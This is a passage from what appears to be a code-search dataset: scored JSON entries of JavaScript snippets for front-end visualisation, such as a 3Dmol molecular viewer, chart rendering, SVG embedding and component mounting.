'spectrum';\n\t\t\t\t\t\t\tupdateStyle('Receptor');\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbradiodiv.buttonset(\"refresh\");\n\t\t\t\t\t});\n\t\t\tbradiodiv.buttonset();\n\t\t\t\n\t\t\t//surface transparency\n\t\t\tvar stdiv = $('<div>').addClass('pharmit_surfacetransparencydiv').appendTo(vizgroup);\n\t\t\t$('<label for=\"surfaceopacity\">Receptor Surface Opacity:</label>').appendTo(stdiv);\n\t\t\tvar sliderdiv = $('<div>').addClass('pharmit_surfacetransparencyslider').appendTo(stdiv);\n\t\t\tvar surfaceinput = $('<input type=\"hidden\" name=\"surfaceopacity\">').appendTo(stdiv); //use named inputs for getting/setting values\n\t\t\tvar defaultopacity = 0.8;\n\t\t\tsurfaceinput.val(defaultopacity);\n\t\t\tvar surfslider = $('<div id=\"surfaceopacity\">').appendTo(sliderdiv)\n\t\t\t\t.slider({animate:'fast',step:0.05,'min':0,'max':1,'value':defaultopacity,\n\t\t\t\t\tchange: function(event, ui) { \n\t\t\t\t\t\tsurfaceinput.val(ui.value).change();\n\t\t\t\t\t\t}\n\t\t\t\t});\n\t\t\tsurfaceinput.change(function() {\n\t\t\t\tvar val = surfaceinput.val();\n surfaceStyle.opacity = val;\n if(surface !== null) viewer.setSurfaceMaterialStyle(surface, surfaceStyle);\n if(surfslider.slider(\"value\") != val) surfslider.slider(\"value\",val);\n viewer.render();\n\t\t\t});\t\n\t\t\t//background color\n\t\t\tvar bcdiv = $('<div>').addClass('pharmit_backgroundcolordiv').appendTo(vizgroup);\n\t\t\t$('<label for=\"backgroundcolor\">Background Color:</label>').appendTo(bcdiv);\n\t\t\tvar radiodiv = $('<div id=\"backgroundcolor\">').appendTo(bcdiv);\n\t\t\t$('<input type=\"radio\" id=\"whiteBackground\" name=\"backgroundcolor\"><label for=\"whiteBackground\">White</label>').appendTo(radiodiv)\n\t\t\t\t.change(function() {\n\t\t\t\t\tif($(this).prop(\"checked\")) {\n\t\t\t\t\t\tviewer.setBackgroundColor(\"white\");\n\t\t\t\t\t}\n\t\t\t\t\tradiodiv.buttonset(\"refresh\");\n\t\t\t\t}).prop(\"checked\",true);\n\t\t\t$('<input type=\"radio\" id=\"blackBackground\" name=\"backgroundcolor\"><label for=\"blackBackground\">Black</label>').appendTo(radiodiv)\n\t\t\t\t.change(function() {\n\t\t\t\t\t\tif($(this).prop(\"checked\")) {\n\t\t\t\t\t\t\tviewer.setBackgroundColor(\"black\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tradiodiv.buttonset(\"refresh\");\n\t\t\t\t\t});\n\t\t\tradiodiv.buttonset();\n\t\t};\n\t\t\n\t\t//amount to offset viewer position by based on morgins\n\t\tvar xoffset = function() {\n\t\t\treturn (margins.left-margins.right)/2;\n\t\t};\n\t\t\n\t\tthis.setReceptor = function(recstr, recname) {\n\t\t\t\n\t\t\tvar receptor = modelsAndStyles.Receptor.model;\n\n\t\t\t//clear receptor\n\t\t\tif(receptor) viewer.removeModel(receptor);\n\t\t\treceptor = null;\n\t\t\tif(surface !== null) viewer.removeSurface(surface);\n\t\t\tsurface = null;\n\t\t\t\n\t\t\tif(recstr) {\n\t\t\t\tvar ext = getExt(recname);\n\t\t\t\treceptor = viewer.addModel(recstr, ext);\n\t\t\t\tmodelsAndStyles.Receptor.model = receptor;\n\t\t\t\tupdateStyle(\"Receptor\");\t\t\t\n\t\t\t\t\n\t\t\t\t//surface\n\t\t\t\tviewer.mapAtomProperties($3Dmol.applyPartialCharges,{model:receptor});\n\t\t\t\tvar surfacepromise = viewer.addSurface($3Dmol.SurfaceType.VDW, \n\t\t\t\t\t\tsurfaceStyle, {model:receptor, bonds: 0, invert:true});\n\t\t\t\tsurface = surfacepromise.surfid;\n\t\t\t\tviewer.zoomTo({});\n\t\t\t}\n\t\t\telse\n\t\t\t\tviewer.render();\n\t\t};\n\n\t\tthis.setLigand = function(ligstr, name) {\n\t\t\t\n\t\t\tvar ligand = modelsAndStyles.Ligand.model;\n\t\t\t//lig receptor\n\t\t\tif(ligand) viewer.removeModel(ligand);\n\t\t\tligand = null;\n\t\t\t\n\t\t\tif(ligstr) { \n\t\t\t\tvar ext = getExt(name);\n\t\t\t\tligand = viewer.addModel(ligstr, ext);\n\t\t\t\tmodelsAndStyles.Ligand.model = ligand;\n\t\t\t\tupdateStyle(\"Ligand\");\n\t\t\t\tviewer.zoomTo({model: ligand});\n\t\t\t}\n\t\t\telse\n\t\t\t\tviewer.render();\n\t\t};\n\n\t\tthis.setResult = function(molstr) { //assumed sdf\n\t\t\t//remove current result\n\t\t\tvar mol = modelsAndStyles.Results.model;\n\t\t\tif(mol) viewer.removeModel(mol);\n\t\t\t\n\t\t\tif(molstr) {\n\t\t\t\tmol = viewer.addModel(molstr, \"sdf\");\n\t\t\t\tmodelsAndStyles.Results.model = mol;\n\t\t\t\tupdateStyle(\"Results\");\n\t\t\t\tviewer.zoomTo({model: mol});\n\t\t\t}\n\t\t\telse\n\t\t\t\tviewer.render();\n\t\t};\n\t\t\n\t\tthis.setView = function(view) {\n\t\t\tif(view) viewer.setView(view);\n\t\t\telse viewer.zoomTo(); //at least center on objects\n\t\t};\n\t\t\n\t\tthis.getView = function() {\n\t\t\treturn viewer.getView();\n\t\t};\n\t\t\n\t\t//add a mesh object, returns identifier\n\t\tthis.addMesh = function(mesh, style) {\n\t\t\tif(style.kind == \"exclusive\") {\n\t\t\t\tmesh.color = \"grey\";\n\t\t\t} else if(style.kind == \"inclusive\") {\n\t\t\t\tmesh.color = \"yellow\";\n\t\t\t}\n\t\t\t$.extend(mesh, style);\n\t\t\tvar ret = viewer.addCustom(mesh);\n\t\t\tviewer.render();\n\t\t\treturn ret;\n\t\t};\n\t\t\n\t\t\n\t\tthis.updateMesh = function(m, newstyle) {\n\t\t\tif(m) {\n\t\t\t\tif(m.updateStyle) m.updateStyle(newstyle);\n\t\t\t\tviewer.render();\n\t\t\t}\n\t\t};\n\t\t\n\t\t//removes previously created mesh object m\n\t\tthis.removeMesh = function(m) {\n\t\t\tviewer.removeShape(m);\n\t\t\tviewer.render();\n\t\t};\n\t\t\n\t\t//hides, but does not remove, mesh object m\n\t\tthis.hideMesh = function(m) {\n\t\t\t\n\t\t};\n\t\t\n\t\t//restores visibility of mesh object m\n\t\tthis.unhideMesh = function(m) {\n\t\t\t\n\t\t};\n\t\t\n\t\t//add a feature as specified by fobj\n\t\t//returns an identifier for referencing the feature later (e.g., removeFeature)\n\t\tthis.addFeature = function(fobj, clickHandler) {\n\t\t\tvar sphere = {\n\t\t\t\tcenter: {x: fobj.x,\n\t\t\t\ty: fobj.y,\n\t\t\t\tz: fobj.z},\n\t\t\t\tradius: fobj.radius,\n\t\t\t\tcolor: featureColors[fobj.name],\n\t\t\t\twireframe: true,\n\t\t\t\tlinewidth: 1.5,\n\t\t\t\tclickable: true,\n\t\t\t\tcallback: clickHandler\n\t\t\t};\n\t\t\t\n\t\t\tvar shape = {sphere: null, arrows: [], label: null};\n\t\t\tshape.sphere = viewer.addSphere(sphere);\n\t\t\tif(fobj.selected)\n\t\t\t\tshape.sphere.updateStyle({wireframe: false});\n\n\t\t\tif(fobj.hasvec && fobj.vector_on && fobj.svector) {\n\t\t\t\t//draw arrow\n\t\t\t\tvar vec = new $3Dmol.Vector3(fobj.svector.x, fobj.svector.y, fobj.svector.z);\n\t\t\t\tvar len = fobj.radius+1.0;\n\t\t\t\tvar mid = (len-0.5)/len; //where arrowhead starts as a ratio\n\t\t\t\tvec = vec.normalize();\n\t\t\t\tvar start = vec.clone().multiplyScalar(fobj.radius).add(fobj);\n\t\t\t\tvar end = vec.clone().multiplyScalar(len).add(fobj);\n\t\t\t\tvar arrow = {\n\t\t\t\t\tstart: start,\n\t\t\t\t\tend: end,\n\t\t\t\t\tradius: 0.075,\n\t\t\t\t\tradiusRatio: 2.0,\n\t\t\t\t\tmid: mid,\n\t\t\t\t\twireframe: !fobj.selected,\n\t\t\t\t\tcolor: featureColors[fobj.name]\n\t\t\t\t};\n\t\t\t\tshape.arrows.push(viewer.addArrow(arrow));\n\t\t\t\t\n\t\t\t\tif(fobj.name == \"Aromatic\") { //double arrow\n\t\t\t\t\tstart = vec.clone().multiplyScalar(-fobj.radius).add(fobj);\n\t\t\t\t\tend = vec.clone().multiplyScalar(-len).add(fobj);\n\t\t\t\t\tarrow.start = start;\n\t\t\t\t\tarrow.end = end;\n\t\t\t\t\tshape.arrows.push(viewer.addArrow(arrow));\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif(fobj.name == \"Hydrophobic\") {\n\t\t\t\t//may have size\n\t\t\t\tvar label = fobj.minsize + \":\" + fobj.maxsize;\n\t\t\t\tif(label != \":\") {\n\t\t\t\t\tvar lab = {\n\t\t\t\t\t\t\tposition: {x: fobj.x, y: fobj.y, z: fobj.z},\n\t\t\t\t\t\t\tshowBackground: true,\n\t\t\t\t\t\t\tfontColor: 'black',\n\t\t\t\t\t\t\tbackgroundColor: featureColors[fobj.name],\n\t\t\t\t\t\t\tbackgroundOpacity: 0.5,\n\t\t\t\t\t\t\talignment: $3Dmol.SpriteAlignment.center\n\t\t\t\t\t};\n\t\t\t\t\tshape.label = viewer.addLabel(label, lab);\n\t\t\t\t}\n\t\t\t}\n\t\t\tviewer.render();\n\t\t\tshapes.push(shape);\n\t\t\treturn shapes.length-1;\n\t\t};\n\t\t\n\t\t//change style of feature\n\t\tthis.selectFeature = function(s) {\n\t\t\tvar shape = shapes[s];\n\t\t\tif(shape && shape.sphere) {\n\t\t\t\tshape.sphere.updateStyle({wireframe: false});\n\t\t\t\t\n\t\t\t\t$.each(shape.arrows, function(i, arrow) {\n\t\t\t\t\tarrow.updateStyle({wireframe:false});\n\t\t\t\t});\n\t\t\t\tviewer.render();\n\t\t\t}\n\t\t};\n\t\t\n\t\tthis.unselectFeature = function(s) {\n\t\t\tvar shape = shapes[s];\n\t\t\tif(shape && shape.sphere) {\n\t\t\t\tshape.sphere.updateStyle({wireframe: true});\n\t\t\t\t$.each(shape.arrows, function(i, arrow) {\n\t\t\t\t\tarrow.updateStyle({wireframe:true});\n\t\t\t\t});\n\t\t\t\tviewer.render();\n\t\t\t}\n\t\t};\n\t\t\n\t\tthis.removeFeature = function(s) {\n\t\t\tvar shape = shapes[s];\n\t\t\tif(shape) {\n\t\t\t\tif(shape.sphere) viewer.removeShape(shape.sphere);\n\t\t\t\t$.each(shape.arrows, function(i, arrow) {\n\t\t\t\t\tviewer.removeShape(arrow);\n\t\t\t\t});\n\t\t\t\tif(shape.label) viewer.removeLabel(shape.label);\n\t\t\t\tviewer.render();\n\t\t\t}\n\t\t\tdelete shapes[s];\n\t\t\t//clear back of array \n\t\t\twhile (shapes.length > 0 && typeof (shapes[shapes.length - 1]) === \"undefined\")\n\t\t\t\tshapes.pop();\n\t\t};\n\t\t\n\t\t//specify size of left div so we can move the center point of the viewer\n\t\tthis.setLeft = function(x) {\n\t\t\tvar dx = x-margins.left;\n\t\t\tmargins.left = x;\n\t\t\tviewer.translate(dx/2, 0);\n\t\t};\n\t\t\n\t\t//specify size of right div so we can move the center point of the viewer\n\t\tthis.setRight = function(x) {\n\t\t\tvar dx = margins.right-x;\n\t\t\tmargins.right = x;\n\t\t\tviewer.translate(dx/2, 0);\n\t\t};\n\t\t\n\t\tvar savedRender = null;\n\t\tthis.disableRendering = function() {\n\t\t\tsavedRender = viewer.render;\n\t\t\tviewer.render = function() {};\n\t\t};\n\t\t\n\t\tthis.enableRendering = function() {\n\t\t\tif(savedRender) viewer.render = savedRender;\n\t\t\tviewer.render();\n\t\t};\n\t\t//initialization code\n\t\tviewer = new $3Dmol.GLViewer(element);\n\t\tviewer.setBackgroundColor('white');\n\t\t\n\t}", "title": "" }, { "docid": "a89d3c02582abe730262e42531ff6ab1", "score": "0.4739865", "text": "showComponent(component) {\n\t\tthis.region.show(new View({\n\t\t\tcomponent: React.createFactory(component)\n\t\t}));\n\t}", "title": "" }, { "docid": "b1df744f21eb8a7a2618900fa6659a27", "score": "0.47376272", "text": "render() {\n /**\n * Use JavaScript expressions to include property values in\n * the element template.\n */\n // language=HTML\n return html `<div class=\"chart-container\">\n <div class=\"bk-chart\" id=\"chart\"></div>\n <img id=\"loader\" src=\"https://cdn.jsdelivr.net/gh/ashubham/files/loader.gif\" hidden>\n <context-menu></context-menu>\n </div>`;\n }", "title": "" }, { "docid": "124d3148458a643f912ea1c499bdbda7", "score": "0.47367784", "text": "display($el){\r\n this._buildUrlSelector(); \r\n }", "title": "" }, { "docid": "d5a4ff3014e6b89ea8ea51b559f80d8c", "score": "0.47335467", "text": "add_view(contig_id) {\n let vis_dom = d3v5.select(this.dom).node();\n\n let container_template = (contig_id) => {\n let container = document.createElement(\"div\");\n container.id = \"viscontainer-\" + contig_id;\n container.className = \"viscontainer\";\n container.innerHTML = `\n <label>${contig_id}</label>\n `;\n let tntdiv = document.createElement(\"div\");\n tntdiv.id = \"vis-\" + contig_id;\n container.appendChild(tntdiv);\n return [container, tntdiv];\n };\n let [container, tntdiv] = container_template(contig_id);\n vis_dom.appendChild(container);\n let view = new TrackView(tntdiv);\n view.set_data_src(contig_id);\n // // Set gene color callback\n // if (this.opt_gene_colorby !== null)\n // view.set_gene_colorby(this.opt_gene_colorby);\n view.init_vis();\n this.ActiveViews.set(contig_id, view);\n view.update_vis();\n }", "title": "" }, { "docid": "e76732dcb416eb79c0bd273d15a00071", "score": "0.47332397", "text": "function xb(t,e,n,i,r,o,a,s){var u=(\"function\"===typeof n?n.options:n)||{};return u.__file=\"geom.vue\",u.render||(u.render=t.render,u.staticRenderFns=t.staticRenderFns,u._compiled=!0,r&&(u.functional=!0)),u._scopeId=i,u}", "title": "" }, { "docid": "e0f32809bd7b7ee700df38b63f8d18c4", "score": "0.47178733", "text": "render() {\n throw new Error('Extend the render method to add your plugin to a DOM element');\n }", "title": "" }, { "docid": "e0f32809bd7b7ee700df38b63f8d18c4", "score": "0.47178733", "text": "render() {\n throw new Error('Extend the render method to add your plugin to a DOM element');\n }", "title": "" }, { "docid": "6d6bb75736ca09f80c7c62adb103ad39", "score": "0.47087148", "text": "function embed(parent, svg, target) {\n // if the target exists\n if (target) {\n // create a document fragment to hold the contents of the target\n var fragment = document.createDocumentFragment(), viewBox = !svg.hasAttribute(\"viewBox\") && target.getAttribute(\"viewBox\");\n // conditionally set the viewBox on the svg\n viewBox && svg.setAttribute(\"viewBox\", viewBox);\n // copy the contents of the clone into the fragment\n for (// clone the target\n var clone = target.cloneNode(!0); clone.childNodes.length; ) {\n fragment.appendChild(clone.firstChild);\n }\n // append the fragment into the svg\n parent.appendChild(fragment);\n }\n }", "title": "" }, { "docid": "6d6bb75736ca09f80c7c62adb103ad39", "score": "0.47087148", "text": "function embed(parent, svg, target) {\n // if the target exists\n if (target) {\n // create a document fragment to hold the contents of the target\n var fragment = document.createDocumentFragment(), viewBox = !svg.hasAttribute(\"viewBox\") && target.getAttribute(\"viewBox\");\n // conditionally set the viewBox on the svg\n viewBox && svg.setAttribute(\"viewBox\", viewBox);\n // copy the contents of the clone into the fragment\n for (// clone the target\n var clone = target.cloneNode(!0); clone.childNodes.length; ) {\n fragment.appendChild(clone.firstChild);\n }\n // append the fragment into the svg\n parent.appendChild(fragment);\n }\n }", "title": "" }, { "docid": "83c8fc3dbdb4ea98f3d57ba756334e57", "score": "0.47026157", "text": "function updatevplot(wl)\n{\n var i;\n var dat = \"Cluster size,potential\\n\";\n for ( i = 0; i < wl.n; i++ )\n dat += \"\" + (i+1) + \",\" + wl.v[i] + \"\\n\";\n if ( vplot === null ) {\n var h = grab(\"ljmixbox\").height / 2 - 5;\n var w = h * 3 / 2;\n var options = {\n //title: 'Adaptive potential',\n xlabel: '<small>Cluster size, <i>s</i></small>',\n ylabel: '<small>Adaptive potential, <i>V</i></small>',\n includeZero: true,\n drawPoints: true,\n axisLabelFontSize: 10,\n pointSize: 2,\n xRangePad: 2,\n width: w,\n height: h\n };\n vplot = new Dygraph(grab(\"vplot\"), dat, options);\n } else {\n vplot.updateOptions({ file: dat });\n }\n}", "title": "" }, { "docid": "1ef313846b7b1dedfbf23401740425e0", "score": "0.4702595", "text": "function renderChart(id,option){\n\tvar skins='macarons';\n\tif(typeof getSkins != 'undefined' && getSkins instanceof Function){\n\t\tskins=getSkins();\n\t}else{\n\t\tskins='dark';\n\t}\n\tvar myChart = echarts.init(document.getElementById(id), skins);\n myChart.clear();\n myChart.setOption(eval(\"(\" + option + \")\"));\n}", "title": "" }, { "docid": "394b254528dd61fdb1a2f9f2af96dfcd", "score": "0.46986037", "text": "function ub(t,e,n,i,r,o,a,s){var u=(\"function\"===typeof n?n.options:n)||{};return u.__file=\"geom.vue\",u.render||(u.render=t.render,u.staticRenderFns=t.staticRenderFns,u._compiled=!0,r&&(u.functional=!0)),u._scopeId=i,u}", "title": "" }, { "docid": "b4e6785798eaa2fd8398c746eb5a1a86", "score": "0.46944702", "text": "function nE(t,e,i,n,r,o,s,a){var c=(\"function\"===typeof i?i.options:i)||{};return c.__file=\"geom.vue\",c.render||(c.render=t.render,c.staticRenderFns=t.staticRenderFns,c._compiled=!0,r&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "771d6068551834e199827d42a6ad4f9d", "score": "0.46943882", "text": "function xd(t,e,n,r,i,o,a,s){var u=(\"function\"===typeof n?n.options:n)||{};return u.__file=\"geom.vue\",u.render||(u.render=t.render,u.staticRenderFns=t.staticRenderFns,u._compiled=!0,i&&(u.functional=!0)),u._scopeId=r,u}", "title": "" }, { "docid": "96f247e0745c6b696f67c61e54088394", "score": "0.4686312", "text": "function render(props, node) {\n var div = document.createElement(\"div\");\n var script = document.createElement(\"script\");\n node.appendChild(div);\n node.appendChild(script);\n}", "title": "" }, { "docid": "e1dbb170bcb27177ffabad329e4c035b", "score": "0.46860147", "text": "function RawEmbedHtml({ element }) {\r\n const container = h(null);\r\n y(() => {\r\n if (!container.current)\r\n return;\r\n container.current.innerHTML = \"\";\r\n container.current.appendChild(element);\r\n }, [container.current, element]);\r\n return v$1(\"span\", { ref: container });\r\n}", "title": "" }, { "docid": "18645cbafd395fbd82e40f25bd836112", "score": "0.468585", "text": "function Visualizer (parser, walker, elem) {\n let self = this;\n\n this.parser = parser;\n this.walker = walker;\n this.elem = elem;\n this.codeStr = this.parser.getCodeStr();\n this.execution = this.walker.cluster.execution;\n this.env = this.walker.cluster.env;\n this.svg;\n\n this.ractive;\n this.ractiveData;\n this.ractiveTemplate;\n\n this.markupWrapper();\n this.markupCode(this.codeStr);\n this.calcWrapperWidths();\n this.visualizeExecution();\n this.markupState();\n\n this.ui = new UI(this);\n\n window.addEventListener('resize', function (e) {\n self.setDataWrapperW(self.calcDataWrapperW());\n self.setStateWrapperW(self.calcStateWrapperW());\n });\n}", "title": "" }, { "docid": "9b56d20b1bfce044d8c61e0ada906237", "score": "0.4675409", "text": "el(el, text, { container = this.container, ...options } = {}) {\r\n let wrapped = Values.wrapValue(text);\r\n if (wrapped === null || wrapped === undefined) {\r\n return container.createEl(el, Object.assign({ text }, options));\r\n }\r\n let _el = container.createEl(el, options);\r\n renderValue(wrapped.value, _el, this.currentFilePath, this.component, this.settings, true);\r\n return _el;\r\n }", "title": "" }, { "docid": "5e30bf74f8b1a76e72a2272b966172f7", "score": "0.46635148", "text": "async dataviewjs(source, el, component, sourcePath) {\r\n this.api.executeJs(source, el, component, sourcePath);\r\n }", "title": "" }, { "docid": "1151db4b722356ce10082b6a978f4c7e", "score": "0.4656785", "text": "function useApidata(data) {\n //insert information in our div content \n document.querySelector(\"#content\").innerHTML += data.explanation;\n document.querySelector(\"#content\").innerHTML += `<iframe src=\"${data.url}\">`;\n}", "title": "" }, { "docid": "caf8fdda2058ff49a6c8ec601058d8fb", "score": "0.4656641", "text": "show(opts = {}) {\n this._subscribePositioning();\n this._innerComponent = null;\n if (!this._componentRef) {\n this.onBeforeShow.emit();\n this._contentRef = this._getContentRef(opts.content, opts.context, opts.initialState);\n const injector = ReflectiveInjector.resolveAndCreate(this._providers, this._injector);\n this._componentRef = this._componentFactory.create(injector, this._contentRef.nodes);\n this._applicationRef.attachView(this._componentRef.hostView);\n // this._componentRef = this._viewContainerRef\n // .createComponent(this._componentFactory, 0, injector, this._contentRef.nodes);\n this.instance = this._componentRef.instance;\n Object.assign(this._componentRef.instance, opts);\n if (this.container instanceof ElementRef) {\n this.container.nativeElement.appendChild(this._componentRef.location.nativeElement);\n }\n if (this.container === 'body' && typeof document !== 'undefined') {\n document\n .querySelector(this.container)\n .appendChild(this._componentRef.location.nativeElement);\n }\n if (!this.container &&\n this._elementRef &&\n this._elementRef.nativeElement.parentElement) {\n this._elementRef.nativeElement.parentElement.appendChild(this._componentRef.location.nativeElement);\n }\n // we need to manually invoke change detection since events registered\n // via\n // Renderer::listen() are not picked up by change detection with the\n // OnPush strategy\n if (this._contentRef.componentRef) {\n this._innerComponent = this._contentRef.componentRef.instance;\n this._contentRef.componentRef.changeDetectorRef.markForCheck();\n this._contentRef.componentRef.changeDetectorRef.detectChanges();\n }\n this._componentRef.changeDetectorRef.markForCheck();\n this._componentRef.changeDetectorRef.detectChanges();\n this.onShown.emit(this._componentRef.instance);\n }\n this._registerOutsideClick();\n return this._componentRef;\n }", "title": "" }, { "docid": "6b55d97175826d168b3eb4c1cc3972c2", "score": "0.46549615", "text": "draw (option) {\n if (!this.isInstanceExist()) {\n this.chartElement = echarts.init(this.domElement);\n if (_.isEmpty(option)) {\n throw new Error('Missing Argument Option');\n }\n this.chartElement.setOption(option);\n return this.chartElement;\n }\n }", "title": "" }, { "docid": "22ecc8564614b7635bff7ec3d4d74cd1", "score": "0.4638164", "text": "function embed(parent, svg, target) {\n\t\t // if the target exists\n\t\t if (target) {\n\t\t // create a document fragment to hold the contents of the target\n\t\t var fragment = document.createDocumentFragment(), viewBox = !svg.hasAttribute(\"viewBox\") && target.getAttribute(\"viewBox\");\n\t\t // conditionally set the viewBox on the svg\n\t\t viewBox && svg.setAttribute(\"viewBox\", viewBox);\n\t\t // copy the contents of the clone into the fragment\n\t\t for (// clone the target\n\t\t var clone = target.cloneNode(!0); clone.childNodes.length; ) {\n\t\t fragment.appendChild(clone.firstChild);\n\t\t }\n\t\t // append the fragment into the svg\n\t\t parent.appendChild(fragment);\n\t\t }\n\t\t }", "title": "" }, { "docid": "f5e224155e302f37e6b8057873089d06", "score": "0.46378356", "text": "function initViz() {\n viz = new tableau.Viz(vizContainer, url, options);\n}", "title": "" }, { "docid": "f5e224155e302f37e6b8057873089d06", "score": "0.46378356", "text": "function initViz() {\n viz = new tableau.Viz(vizContainer, url, options);\n}", "title": "" }, { "docid": "27e2d12f3c8b0265f616fbb28562aa09", "score": "0.46375647", "text": "function embedElm(elm, elem) {\n return qHelper(\n () => elm.embed,\n f => f(elem),\n 'Can not instantiate module'\n );\n }", "title": "" }, { "docid": "4a0bd02eb62e2254bdd52239ee1eb78e", "score": "0.46371746", "text": "createEl() {\n let options = this.options();\n // We'll add our bug content to this element:\n let bugElement = videojs.createEl('span', {\n className: 'vjs-bug vjs-bug-' + options.position\n });\n // Create the image:\n let imgElement = videojs.createEl('img', {}, {\n src: options.imgSrc\n });\n\n // Possibly make it a link\n if (options.link) {\n let linkElement = videojs.createEl('a', {}, {\n href: options.link,\n target: '_blank'\n });\n\n linkElement.appendChild(imgElement);\n bugElement.appendChild(linkElement);\n } else {\n bugElement.className += ' no-link';\n bugElement.appendChild(imgElement);\n }\n\n // Styling\n bugElement.style.opacity = options.opacity;\n bugElement.style.padding = options.padding;\n if (options.width) {\n bugElement.width = options.width;\n }\n if (options.height) {\n bugElement.height = options.height;\n }\n return bugElement;\n }", "title": "" }, { "docid": "30060c66b114078e7fa84478f595164f", "score": "0.4636773", "text": "beforerender (el) {\n Quill.register('modules/markdownShortcuts', MarkdownShortcuts)\n\n var opts = this.opts\n\n this.quill = new Quill(editorinner, {\n theme: 'snow',\n bounds: editorel,\n toolbar: editorel,\n placeholder: opts.placeholder,\n modules: {\n markdownShortcuts: {}\n }\n })\n\n // set contents to markdown template\n if (opts.template) quill.updateContents(opts.template)\n\n // this is where you can register other lifecycle events:\n // on.resize()\n // on.ready()\n // on.intersect()\n // on.idle()\n }", "title": "" }, { "docid": "15641efd65a622c23d103f9334b11367", "score": "0.4636293", "text": "function vega(vgView, options) {\n if (options === void 0) { options = { showAllFields: true }; }\n start(vgView, copyOptions(options));\n return {\n destroy: function () {\n // remove event listeners\n vgView.removeEventListener('mouseover.tooltipInit');\n vgView.removeEventListener('mousemove.tooltipUpdate');\n vgView.removeEventListener('mouseout.tooltipRemove');\n cancelPromise(); // clear tooltip promise\n }\n };\n}", "title": "" }, { "docid": "4c06c97d32ec72b27fb9e4a6539eb503", "score": "0.46234056", "text": "injectScript(options) {\n return {\n __html: `<span class=LimelightEmbeddedPlayer>\n <object type=application/x-shockwave-flash id=${options.id} name=${options.id} class=LimelightEmbeddedPlayerFlash width=${options.width} height=${options.height} data=//video.limelight.com/player/loader.swf><param name=movie value=\"//video.limelight.com/player/loader.swf\">\n <param name=wmode value=\"window\">\n <param name=allowScriptAccess value=\"always\">\n <param name=allowFullScreen value=\"true\">\n <param name=flashVars value=\"playerForm=Player&amp;mediaId=${options.source}\">\n </object>\n </span>`\n };\n }", "title": "" }, { "docid": "52e06996dc8bde315e3606b9c0ed7fac", "score": "0.46145192", "text": "function wC(t,e,n,i,r,o,a,s){var u=(\"function\"===typeof n?n.options:n)||{};return u.__file=\"layer.vue\",u.render||(u.render=t.render,u.staticRenderFns=t.staticRenderFns,u._compiled=!0,r&&(u.functional=!0)),u._scopeId=i,u}", "title": "" }, { "docid": "9bfee61248370832b77e0c65dfc0bd70", "score": "0.46139666", "text": "function attachTTMLRenderingDiv(div) {\n if (!videoModel) {\n throw ELEMENT_NOT_ATTACHED_ERROR;\n }\n videoModel.setTTMLRenderingDiv(div);\n }", "title": "" }, { "docid": "0ae1a6d2e72fa1bbc4f5f06097c66ff1", "score": "0.46117336", "text": "function fO(t,e,i,n,r,o,s,a){var c=(\"function\"===typeof i?i.options:i)||{};return c.__file=\"layer.vue\",c.render||(c.render=t.render,c.staticRenderFns=t.staticRenderFns,c._compiled=!0,r&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "05d941eb235899354c20c35e5fa045f5", "score": "0.46076941", "text": "function OpenSeadragon(e){return new OpenSeadragon.Viewer(e)}", "title": "" }, { "docid": "9ef2d04f2e9e476265a1f771041549c9", "score": "0.4601035", "text": "renderElement() {\n\t\tconst { datasource, columns } = this.component;\n\t\tthis.associatedData = { id: this.id };\n\t\tconst associatedData = this.associatedData;\n\n\t\t_common_WebFormHandler__WEBPACK_IMPORTED_MODULE_4__[\"default\"].associateHandler(this, associatedData);\n\n\t\tassociatedData.datasource = null;\n\n\t\tif (!datasource) {\n\t\t\treturn Object(_templates_placeholder_ejs__WEBPACK_IMPORTED_MODULE_7__[\"default\"])({\n\t\t\t\tmessage: 'Please provide a data source',\n\t\t\t\ticon: 'table',\n\t\t\t});\n\t\t}\n\n\t\tif(!this.isBuilderMode) {\n\t\t\tconst sourcestr = this.component.dataSource;\n\t\t\tif (sourcestr != null && sourcestr !== '') {\n\t\t\t\tassociatedData.datasource = DataSource.getSourceOrBuild(\n\t\t\t\t\tsourcestr,\n\t\t\t\t\tnull,\n\t\t\t\t\twindow.$$datastores.ds,\n\t\t\t\t\tassociatedData.namespace,\n\t\t\t\t);\n\t\t\t}\n\n\t\t\tassociatedData.method = window.Method4D.buildMethod(\n\t\t\t\tthis.component,\n\t\t\t\tassociatedData,\n\t\t\t\tassociatedData.datasource,\n\t\t\t);\n\t\t}\n\n\t\tif (columns.length === 0) {\n\t\t\treturn Object(_templates_placeholder_ejs__WEBPACK_IMPORTED_MODULE_7__[\"default\"])({\n\t\t\t\tmessage: 'Please add at least one column',\n\t\t\t\ticon: 'table',\n\t\t\t});\n\t\t}\n\n\t\t// const StyleCss = new StyleGenerator();\n\t\t// StyleCss.parseStyle(this.component.styles.main);\n\t\tlet mainStyles;\n\n\t\tif (this.component.styles) {\n\t\t\tmainStyles = _common_StyleGenerator__WEBPACK_IMPORTED_MODULE_3__[\"default\"].toString(_common_StyleGenerator__WEBPACK_IMPORTED_MODULE_3__[\"default\"].parseStyle(this.component.styles.main));\n\t\t}\n\n\t\tthis.initWidgetView();\n\t\t// let heightCssStr = '';\n\t\t// if (this.component.height != null && this.component.height !== 0) {\n\t\t// \theightCssStr = `height:${this.component.height}px;`;\n\t\t// }\n\t\t// return `<div class=\"datatableview\" ${window.$$componentRefs.buildComponentRef(associatedData, this)} style=\"${StyleCss.toString(true)}\"></div>`;\n\t\treturn `<div class=\"datatableview ${this.component.cssClass}\" ${window.$$componentRefs.buildComponentRef(associatedData, this)} style=\"${mainStyles}\"></div>`;\n\t\t// return `<div class=\"datatableview ${\n\t\t// \tthis.component.cssClass\n\t\t// }\" ${window.$$componentRefs.buildComponentRef(\n\t\t// \tassociatedData,\n\t\t// \tthis,\n\t\t// )} style=\"width:100%;${heightCssStr}\"></div>`;\n\t}", "title": "" }, { "docid": "f08281262221fdb0e03ad4786c501d43", "score": "0.45976162", "text": "function _embedPluginContainer() {\r\n var pluginContainer = document.createElement('div');\r\n pluginContainer.style.position = 'fixed';\r\n pluginContainer.style.overflow = 'hidden';\r\n pluginContainer.style.width = 10;\r\n pluginContainer.style.height = 10;\r\n pluginContainer.style.top = 0;\r\n pluginContainer.style.left = -100;\r\n pluginContainer.id = 'addLivePluginContainer' + _generateRandomIdSuffix();\r\n document.body.appendChild(pluginContainer);\r\n ADL._pluginContainerId = pluginContainer.id;\r\n }", 